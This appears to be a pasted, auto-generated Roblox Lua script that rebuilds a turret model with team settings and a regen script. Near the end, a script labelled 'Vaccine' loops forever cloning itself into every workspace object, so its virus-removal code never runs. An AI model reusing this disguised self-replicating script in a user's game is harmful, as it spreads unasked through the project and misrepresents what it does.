- Part154.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
- Part154.Velocity = Vector3.new(-0.485032022, 0.141801596, 18.2240295)
- Part154.CanCollide = false
- Part154.Size = Vector3.new(2, 1.20000005, 1)
- Part154.CFrame = CFrame.new(-47.5551414, 10.7451811, 125.638985, -0.170337349, -0.151522994, 0.973660469, 0.672210813, -0.740356028, 0.00238447357, 0.720492601, 0.654909849, 0.227965981)
- Part154.BottomSurface = Enum.SurfaceType.Weld
- Part154.TopSurface = Enum.SurfaceType.Smooth
- Part154.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part154.Position = Vector3.new(-47.5551414, 10.7451811, 125.638985)
- Part154.Orientation = Vector3.new(-0.140000001, 76.8199997, 137.759995)
- Part154.Color = Color3.new(0.94902, 0.952941, 0.952941)
- SpecialMesh155.Parent = Part154
- SpecialMesh155.MeshType = Enum.MeshType.Wedge
- Part156.Name = "Smooth Block Model"
- Part156.Parent = Model147
- Part156.BrickColor = BrickColor.new("White")
- Part156.Rotation = Vector3.new(-0.599999964, 76.8199997, -41.6499977)
- Part156.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
- Part156.Velocity = Vector3.new(-4.30668783, 1.86988568, 19.2933846)
- Part156.FormFactor = Enum.FormFactor.Plate
- Part156.Size = Vector3.new(2, 0.400000006, 1)
- Part156.CFrame = CFrame.new(-47.2521019, 12.2258825, 124.329163, 0.170334131, 0.151520908, 0.973656714, -0.672210753, 0.740353346, 0.00238548429, -0.72049135, -0.654906034, 0.227968112)
- Part156.BackSurface = Enum.SurfaceType.Weld
- Part156.BottomSurface = Enum.SurfaceType.Weld
- Part156.TopSurface = Enum.SurfaceType.Smooth
- Part156.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part156.Position = Vector3.new(-47.2521019, 12.2258825, 124.329163)
- Part156.Orientation = Vector3.new(-0.140000001, 76.8199997, -42.2399979)
- Part156.Color = Color3.new(0.94902, 0.952941, 0.952941)
- SpecialMesh157.Parent = Part156
- SpecialMesh157.MeshType = Enum.MeshType.Wedge
- BoolValue158.Name = "TeamGame"
- BoolValue158.Parent = Model111
- BoolValue158.Value = true
- BrickColorValue159.Name = "TeamColor"
- BrickColorValue159.Parent = Model111
- BrickColorValue159.Value = BrickColor.new("White")
- BoolValue160.Name = "Target Zombies"
- BoolValue160.Parent = Model111
- BoolValue160.Value = true
- BoolValue161.Name = "Target Humanoids"
- BoolValue161.Parent = Model111
- IntValue162.Name = "ScanRange"
- IntValue162.Parent = Model111
- IntValue162.Value = 300
- Humanoid163.Parent = Model111
- Humanoid163.Health = 0
- Humanoid163.MaxHealth = 0
- IntValue164.Name = "Clips"
- IntValue164.Parent = Model111
- IntValue164.Value = 10
- IntValue165.Name = "AmmoClip"
- IntValue165.Parent = Model111
- IntValue165.Value = 100
- Script166.Name = "RegenScript"
- Script166.Parent = Model111
- Script166.Disabled = true
- table.insert(cors,sandbox(Script166,function()
- model = script.Parent
- backup = model:clone()
- active = false
- function Regen(part)
- if(active == false) then
- active = true
- script.Parent:breakJoints()
- script.Parent.Brain.Destroyed.Value = true
- wait(1)
- model:remove()
- model = backup:Clone()
- wait(30)
- model.Parent = game.Workspace
- model:MakeJoints()
- end
- end
- function retriveParts(model,myColor)
- local raw_model = model:GetChildren()
- for i=1,#raw_model do
- local part = raw_model[i]
- if(part ~= nil) then
- part.BrickColor = myColor
- end
- end
- end
- function setTeam()
- local brain = script.Parent.Brain
- local isTeamGame = script.Parent.TeamGame.Value
- if(isTeamGame == true) then
- retriveParts(script.Parent.BodyKit.TeamColorBricks,script.Parent.TeamColor.Value)
- if(brain:findFirstChild("Point") ~= nil) then
- brain.Point.BrickColor = script.Parent.TeamColor.Value
- end
- if(brain:findFirstChild("TurretEngine") ~= nil) then
- brain.TurretEngine.BrickColor = script.Parent.TeamColor.Value
- end
- if(script.Parent:findFirstChild("Head") ~= nil) then
- script.Parent.Head.BrickColor = script.Parent.TeamColor.Value
- end
- else
- retriveParts(script.Parent.BodyKit.TeamColorBricks,BrickColor.new("Dark stone grey"))
- if(brain:findFirstChild("Point") ~= nil) then
- brain.Point.BrickColor = BrickColor.new("Dark stone grey")
- end
- if(brain:findFirstChild("TurretEngine") ~= nil) then
- brain.TurretEngine.BrickColor = BrickColor.new("Dark stone grey")
- end
- if(script.Parent:findFirstChild("Head") ~= nil) then
- script.Parent.Head.BrickColor = BrickColor.new("Dark stone grey")
- end
- end
- end
- setTeam()
- model.BodyKit.ChildRemoved:connect(Regen)
- model.ChildRemoved:connect(Regen)
- model.Brain.ChildRemoved:connect(Regen)
- script.Parent.TeamColor.Changed:connect(setTeam)
- script.Parent.TeamGame.Changed:connect(setTeam)
- end))
- Script167.Name = "Vaccine"
- Script167.Parent = Model0
- table.insert(cors,sandbox(Script167,function()
- function spread() -- created by szymkom
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.0)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- print("Virus debugged! All clean!")
- end))
- for i,v in pairs(mas:GetChildren()) do
- v.Parent = workspace
- pcall(function() v:MakeJoints() end)
- end
- mas:Destroy()
- for i,v in pairs(cors) do
- spawn(function()
- pcall(v)
- end)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement